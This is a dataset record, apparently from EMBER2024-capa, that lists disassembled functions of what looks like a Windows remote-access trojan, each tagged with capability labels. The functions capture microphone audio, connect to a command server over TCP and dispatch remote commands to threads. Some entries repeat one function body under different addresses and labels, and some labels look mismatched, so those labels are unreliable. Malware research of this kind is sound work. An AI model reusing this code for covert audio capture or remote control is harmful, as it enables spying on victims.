joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100076d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [edx + 0x78]
mov ebx, dword [edx + 0x8c]
cmp eax, ebx
mov eax, dword [edx + 0x34]
mov ebx, dword [edx + 0x7c]
jl 0x100076f5
shr ebx, 2
dec ebx
shl ebx, 0x10
or ebx, eax
mov dword [esp], ebx
mov eax, dword [edx + 0x90]
mov ebx, dword [edx + 0x74]
cmp ebx, eax
jl 0x1000770d
mov ebx, eax
mov dword [esp + 0x18], ebx
mov esi, dword [edx + 0x38]
mov dword [esp + 4], esi
mov ebp, dword [edx + 0x6c]
lea edi, [ebp + esi]
mov dword [esp + 0x20], edi
mov eax, edi
neg eax
and eax, 3
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x2c]
sub eax, 0x106
sub ebp, eax
jg 0x1000773c
xor ebp, ebp
mov eax, dword [edx + 0x78]
mov dword [esp + 0x1c], eax
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi]
mov dword [esp + 0x10], ebx
movzx ebx, word [eax + edi - 1]
mov dword [esp + 0xc], ebx
mov edi, dword [edx + 0x40]
mov edx, dword [esp]
jmp 0x1000777e
and ecx, edx
movzx ecx, word [edi + ecx*2]
cmp ecx, ebp
jbe 0x10007852
sub edx, 0x10000
js 0x10007852
movzx eax, word [ecx + esi - 1]
cmp eax, ebx
jne 0x10007764
mov eax, dword [esp + 4]
movzx eax, word [ecx + eax]
cmp eax, dword [esp + 0x10]
jne 0x10007764
mov dword [esp], edx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x20]
add esi, ecx
mov eax, dword [esp + 0x14]
mov edx, 0xfffffef8
lea edi, [eax + edi + 0x108]
lea esi, [eax + esi + 0x108]
mov eax, dword [edx + esi]
xor eax, dword [edx + edi]
jne 0x100077d5
mov eax, dword [edx + esi + 4]
xor eax, dword [edx + edi + 4]
jne 0x100077d2
add edx, 8
jne 0x100077b9
jmp 0x10007843
add edx, 4
test eax, 0xffff
jne 0x100077e2
add edx, 2
shr eax, 0x10
sub al, 1
adc edx, 0
lea eax, [edx + edi]
mov edi, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x102
jge 0x10007843
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
cmp eax, ebx
jg 0x10007816
mov esi, dword [esp + 8]
mov edi, dword [edx + 0x40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp]
jmp 0x10007764
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x70], ecx
cmp eax, ebx
jge 0x10007852
mov esi, dword [esp + 4]
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [eax + edi - 1]
mov edi, dword [edx + 0x40]
mov dword [esp + 0xc], ebx
mov edx, dword [esp]
jmp 0x10007764
mov edx, dword [esp + 0x38]
mov dword [esp + 0x1c], 0x102
mov dword [edx + 0x70], ecx
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
mov eax, dword [edx + 0x74]
cmp ebx, eax
jg 0x10007863
mov eax, ebx
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10008330
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [esi + 0x2c]
mov dword [esi], vtable.CAudio.0
mov dword [esi + 0x4c], 1
test eax, eax
je 0x10008364
push eax
call edi
push dword [esi + 0x2c]
call ebx
mov dword [esi + 0x2c], 0
mov eax, dword [esi + 0x30]
test eax, eax
je 0x1000837a
push eax
call edi
push dword [esi + 0x30]
call ebx
mov dword [esi + 0x30], 0
cmp dword [esi + 0x44], 0
je 0x10008410
push dword [esi + 0x34]
call dword [sym.imp.WINMM.dll_waveInStop]
push dword [esi + 0x34]
call dword [sym.imp.WINMM.dll_waveInReset]
lea edi, [esi + 0x1c]
mov ebx, 2
nop
push 0x20
push dword [edi]
push dword [esi + 0x34]
call dword [sym.imp.WINMM.dll_waveInUnprepareHeader]
lea edi, [edi + 4]
sub ebx, 1
jne 0x100083a0
push dword [esi + 0x34]
call dword [sym.imp.WINMM.dll_waveInClose]
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0xbb8
push 0xa
call ebx
cmp byte [esi + 0x3c], 0
je 0x100083e0
sub edi, 1
jne 0x100083d1
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
cmp byte [esi + 0x3c], 0
je 0x100083fb
push 0x1003cb08
call fcn.100079f0
add esp, 4
push 0xfffffc19
push dword [esi + 0x40]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [esi + 0x40], 0
mov edi, esi
mov ebx, 2
add edi, 0x1c
nop word [eax + eax]
push dword [edi + 8]
call fcn.10011890
push dword [edi]
mov dword [edi + 8], 0
call fcn.10011890
add esp, 8
mov dword [edi], 0
lea edi, [edi + 4]
sub ebx, 1
jne 0x10008420
cmp dword [esi + 0x50], ebx
je 0x1000847e
push dword [esi + 0x48]
call dword [sym.imp.WINMM.dll_waveOutReset]
lea edi, [esi + 0x1c]
mov ebx, 2
nop dword [eax]
push 0x20
push dword [edi]
push dword [esi + 0x48]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
lea edi, [edi + 4]
sub ebx, 1
jne 0x10008460
push dword [esi + 0x48]
call dword [sym.imp.WINMM.dll_waveOutClose]
add esi, 0x58
mov edi, 2
push dword [esi + 8]
call fcn.10011890
push dword [esi]
mov dword [esi + 8], 0
call fcn.10011890
add esp, 8
mov dword [esi], 0
lea esi, [esi + 4]
sub edi, 1
jne 0x10008486
pop edi
pop esi
pop ebx
ret
Function at 0x10008f10
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003074c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x10
push esi
push edi
mov eax, dword [0x10042040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x20], esi
mov eax, dword [ebx + 8]
push 0
push 0
push 1
mov dword [esi], vtable.CManager.0
mov byte [esi + 4], 0
mov dword [esi + 8], eax
push 0
mov dword [eax + 0x20], esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
push esi
mov dword [ebp - 4], 0
push str.new_CAudioManager__x_n
mov dword [esi], vtable.CAudioManager.0
call fcn.100079f0
add esp, 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x18], 0
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
je 0x100090f9
cmp dword [esi + 0x10], 1
je 0x100090f9
push 0x68
call fcn.10011895
mov edi, eax
add esp, 4
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 1
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [edi], vtable.CAudio.0
mov dword [edi + 0x4c], 0
mov byte [edi + 0x3c], 0
mov dword [edi + 0x40], 0
mov dword [edi + 0x44], 0
mov dword [edi + 0x50], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x54], 0
call esi
push 0
push 0
push 0
push 0
mov dword [edi + 0x2c], eax
call esi
mov esi, dword [ebp - 0x1c]
xorps xmm0, xmm0
mov dword [edi + 0x30], eax
movups xmmword [edi + 4], xmm0
mov dword [edi + 0x14], 0
mov dword [edi + 4], 0x10031
mov dword [edi + 8], 0x1f40
mov dword [edi + 0xc], 0x659
mov dword [edi + 0x10], 0x41
mov dword [edi + 0x14], 0x1400002
mov dword [edi + 0x18], 0x3e8
add edi, 0x1c
mov dword [ebp - 0x18], 2
push dword [esi + 0x18]
call fcn.100118d3
add esp, 4
mov dword [edi + 8], eax
push 0x20
call fcn.10011895
add esp, 4
mov dword [edi], eax
push dword [esi + 0x18]
call fcn.100118d3
add esp, 4
mov dword [edi + 0x44], eax
push 0x20
call fcn.10011895
add esp, 4
mov dword [edi + 0x3c], eax
sub dword [ebp - 0x18], 1
lea edi, [edi + 4]
jne 0x10009061
mov byte [ebp - 4], 0
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
push 1
mov byte [ebp - 0x11], 0x79
mov ecx, dword [esi + 8]
mov dword [esi + 0x18], eax
lea eax, [ebp - 0x11]
push eax
mov dword [esi + 0x10], 1
call fcn.1000b970
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push esi
push 0x10009270
push 0
push 0
mov dword [esi + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x14], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8
Function at 0x100092b0
Capabilities:
Capture microphone audio
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 8], ebx
mov esi, dword [ebx + 0x18]
cmp dword [esi + 0x44], 0
jne 0x10009384
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 4
push esi
push 0x100084c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20000
test eax, eax
mov dword [esi + 0x40], eax
push 0
push dword [ebp - 4]
setne al
lea ecx, [esi + 0x34]
mov byte [esi + 0x3c], al
lea eax, [esi + 4]
push eax
push 0xffff
push ecx
call dword [sym.imp.WINMM.dll_waveInOpen]
test eax, eax
jne 0x100093ef
lea edi, [esi + 0x1c]
lea ebx, [eax + 2]
nop
mov ecx, dword [edi]
mov eax, dword [edi + 8]
push 0x20
mov dword [ecx], eax
mov ecx, dword [edi]
mov eax, dword [esi + 0x18]
mov dword [ecx + 4], eax
mov eax, dword [edi]
mov dword [eax + 0x10], 0
mov eax, dword [edi]
mov dword [eax + 0x14], 0
push dword [edi]
push dword [esi + 0x34]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
lea edi, [edi + 4]
sub ebx, 1
jne 0x10009320
mov eax, dword [esi + 0x38]
push 0x20
push dword [esi + eax*4 + 0x1c]
push dword [esi + 0x34]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
push dword [esi + 0x40]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [esi + 0x34]
call dword [sym.imp.WINMM.dll_waveInStart]
mov ebx, dword [ebp - 8]
mov dword [esi + 0x44], 1
push dword [esi + 0x30]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esi + 0x38]
mov edi, dword [esi + 0x18]
mov esi, dword [esi + eax*4 + 0x24]
test esi, esi
je 0x100093ef
mov eax, dword [ebx + 0x1c]
test eax, eax
jne 0x100093b9
lea eax, [edi + 1]
push eax
call fcn.100118d3
add esp, 4
mov dword [ebx + 0x1c], eax
mov byte [eax], 0x7a
mov eax, dword [ebx + 0x1c]
push edi
inc eax
push esi
push eax
call fcn.100132d0
mov eax, dword [ebx + 0x1c]
add esp, 0xc
mov byte [edi + eax], 0
test edi, edi
je 0x100093ef
mov ecx, dword [ebx + 8]
lea eax, [edi + 1]
push eax
push dword [ebx + 0x1c]
call fcn.1000b970
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009f00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, edx
push esi
lea esi, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10009f10
sub eax, esi
push eax
push edx
push 0x10043fa0
call fcn.100132d0
mov ax, word [ebp + 0xc]
add esp, 0xc
mov word [0x100440a8], ax
push 0
push 0
push 0
push 0x10009f90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebp
ret
Function at 0x1000b220
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x10042040]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
mov esi, ecx
lea eax, [esp + 8]
push eax
push 0x202
mov dword [esi], vtable.IOCPClient.0
mov dword [esi + 0x20], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [esi + 4], 0xffffffff
xorps xmm0, xmm0
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
movq qword [esi + 0x18], xmm0
mov eax, dword [str.Shine]
mov dword [esi + 0x18], eax
movzx ecx, byte [0x1003cca0]
mov byte [esi + 0x1c], cl
lea ecx, [esi + 0x24]
push ecx
mov dword [esi + 0x10], 1
mov dword [esi + 0x14], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov cl, byte [ebp + 8]
mov eax, esi
mov byte [esi + 0x3c], cl
mov ecx, dword [esp + 0x19c]
pop esi
xor ecx, esp
call fcn.10011882
mov esp, ebp
pop ebp
ret 4

Function at 0x1000b350
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x10042040]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
movzx edi, word [0x100440a8]
mov esi, ecx
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x1000b3d2
mov eax, 2
push edi
mov word [esp + 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10043fa0
mov word [esp + 0x22], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1c]
push 0x10
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
mov ecx, dword [esi + 4]
cmp eax, 0xffffffff
jne 0x1000b3e7
cmp ecx, eax
je 0x1000b3d2
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.10011882
mov esp, ebp
pop ebp
ret 8
push 4
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 1
push eax
push 8
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x1000b440
push eax
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x18], 1
push eax
push 0
push 0
push 0xc
lea eax, [esp + 0x28]
mov dword [esp + 0x2c], 0x2bf20
push eax
push 0x98000004
push dword [esi + 4]
mov dword [esp + 0x3c], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
cmp dword [esi + 0xc], 0
jne 0x1000b467
push 0
push 0
push esi
push 0x1000b490
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [esi + 0xc], eax
test eax, eax
setne cl
mov dword [esi + 8], ecx
mov edx, 0x1003cca4
call fcn.100085f0
mov ecx, dword [esp + 0x2c]
mov eax, 1
pop edi
mov dword [esi + 0x14], 1
pop esi
xor ecx, esp
call fcn.10011882
mov esp, ebp
pop ebp
ret 8
Function at 0x1000bca0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, ecx
cmp byte [ebx], 0xcc
jne 0x1000bcb4
xor edi, edi
jmp 0x1000bccc
push 0x40
call fcn.10011895
add esp, 4
mov dword [ebp + 8], eax
mov ecx, eax
push 1
call fcn.1000b220
mov edi, eax
mov ecx, dword [esi + 0xc010]
add ecx, 2
lea ecx, [ecx + ecx*2]
mov dword [esi + ecx*4], edi
movzx eax, byte [ebx]
dec eax
cmp eax, 0xcb
ja case.0x1000bcf1.2
movzx eax, byte [eax + 0x1000bebc]
jmp dword [eax*4 + 0x1000be8c]
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a4f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esi + 0xc010]
pop edi
lea ecx, [ecx + ecx*2]
mov dword [esi + ecx*4 + 0x14], eax
inc dword [esi + 0xc010]
pop esi
pop ebx
pop ebp
ret 8
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a620
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a6b0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a7e0
jmp 0x1000bd11
mov ecx, dword [esi + 8]
lea eax, [ebp + 0xb]
push 1
push eax
mov byte [ebp + 0xb], 0xcc
call fcn.1000b970
mov byte [esi + 4], 1
push str.__Bye_bye__n
jmp 0x1000be5f
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a2b0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a3f0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a920
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a930
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a9c0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000aae0
jmp 0x1000bd11
push str.__Error_operator_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [esi + 0xc010]
add eax, 2
lea eax, [eax + eax*2]
mov dword [esi + eax*4], 0
test edi, edi
je 0x1000be84
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x1000bd86
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, ecx
cmp byte [ebx], 0xcc
jne 0x1000bcb4
xor edi, edi
jmp 0x1000bccc
push 0x40
call fcn.10011895
add esp, 4
mov dword [ebp + 8], eax
mov ecx, eax
push 1
call fcn.1000b220
mov edi, eax
mov ecx, dword [esi + 0xc010]
add ecx, 2
lea ecx, [ecx + ecx*2]
mov dword [esi + ecx*4], edi
movzx eax, byte [ebx]
dec eax
cmp eax, 0xcb
ja case.0x1000bcf1.2
movzx eax, byte [eax + 0x1000bebc]
jmp dword [eax*4 + 0x1000be8c]
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a4f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esi + 0xc010]
pop edi
lea ecx, [ecx + ecx*2]
mov dword [esi + ecx*4 + 0x14], eax
inc dword [esi + 0xc010]
pop esi
pop ebx
pop ebp
ret 8
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a620
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a6b0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a7e0
jmp 0x1000bd11
mov ecx, dword [esi + 8]
lea eax, [ebp + 0xb]
push 1
push eax
mov byte [ebp + 0xb], 0xcc
call fcn.1000b970
mov byte [esi + 4], 1
push str.__Bye_bye__n
jmp 0x1000be5f
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a2b0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a3f0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a920
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a930
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a9c0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000aae0
jmp 0x1000bd11
push str.__Error_operator_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [esi + 0xc010]
add eax, 2
lea eax, [eax + eax*2]
mov dword [esi + eax*4], 0
test edi, edi
je 0x1000be84
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x1000be3c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, ecx
cmp byte [ebx], 0xcc
jne 0x1000bcb4
xor edi, edi
jmp 0x1000bccc
push 0x40
call fcn.10011895
add esp, 4
mov dword [ebp + 8], eax
mov ecx, eax
push 1
call fcn.1000b220
mov edi, eax
mov ecx, dword [esi + 0xc010]
add ecx, 2
lea ecx, [ecx + ecx*2]
mov dword [esi + ecx*4], edi
movzx eax, byte [ebx]
dec eax
cmp eax, 0xcb
ja case.0x1000bcf1.2
movzx eax, byte [eax + 0x1000bebc]
jmp dword [eax*4 + 0x1000be8c]
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a4f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esi + 0xc010]
pop edi
lea ecx, [ecx + ecx*2]
mov dword [esi + ecx*4 + 0x14], eax
inc dword [esi + 0xc010]
pop esi
pop ebx
pop ebp
ret 8
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a620
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a6b0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a7e0
jmp 0x1000bd11
mov ecx, dword [esi + 8]
lea eax, [ebp + 0xb]
push 1
push eax
mov byte [ebp + 0xb], 0xcc
call fcn.1000b970
mov byte [esi + 4], 1
push str.__Bye_bye__n
jmp 0x1000be5f
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a2b0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a3f0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a920
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a930
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a9c0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000aae0
jmp 0x1000bd11
push str.__Error_operator_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [esi + 0xc010]
add eax, 2
lea eax, [eax + eax*2]
mov dword [esi + eax*4], 0
test edi, edi
je 0x1000be84
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x1000be5a
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, ecx
cmp byte [ebx], 0xcc
jne 0x1000bcb4
xor edi, edi
jmp 0x1000bccc
push 0x40
call fcn.10011895
add esp, 4
mov dword [ebp + 8], eax
mov ecx, eax
push 1
call fcn.1000b220
mov edi, eax
mov ecx, dword [esi + 0xc010]
add ecx, 2
lea ecx, [ecx + ecx*2]
mov dword [esi + ecx*4], edi
movzx eax, byte [ebx]
dec eax
cmp eax, 0xcb
ja case.0x1000bcf1.2
movzx eax, byte [eax + 0x1000bebc]
jmp dword [eax*4 + 0x1000be8c]
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a4f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esi + 0xc010]
pop edi
lea ecx, [ecx + ecx*2]
mov dword [esi + ecx*4 + 0x14], eax
inc dword [esi + 0xc010]
pop esi
pop ebx
pop ebp
ret 8
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a620
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a6b0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a7e0
jmp 0x1000bd11
mov ecx, dword [esi + 8]
lea eax, [ebp + 0xb]
push 1
push eax
mov byte [ebp + 0xb], 0xcc
call fcn.1000b970
mov byte [esi + 4], 1
push str.__Bye_bye__n
jmp 0x1000be5f
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a2b0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a3f0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a920
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a930
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000a9c0
jmp 0x1000bd11
mov eax, dword [esi + 0xc010]
push 0
push 0
lea eax, [eax + eax*2]
lea eax, [eax + 4]
lea eax, [esi + eax*4]
push eax
push 0x1000aae0
jmp 0x1000bd11
push str.__Error_operator_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [esi + 0xc010]
add eax, 2
lea eax, [eax + eax*2]
mov dword [esi + eax*4], 0
test edi, edi
je 0x1000be84
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
pop edi
pop esi
pop ebx
pop ebp
ret 8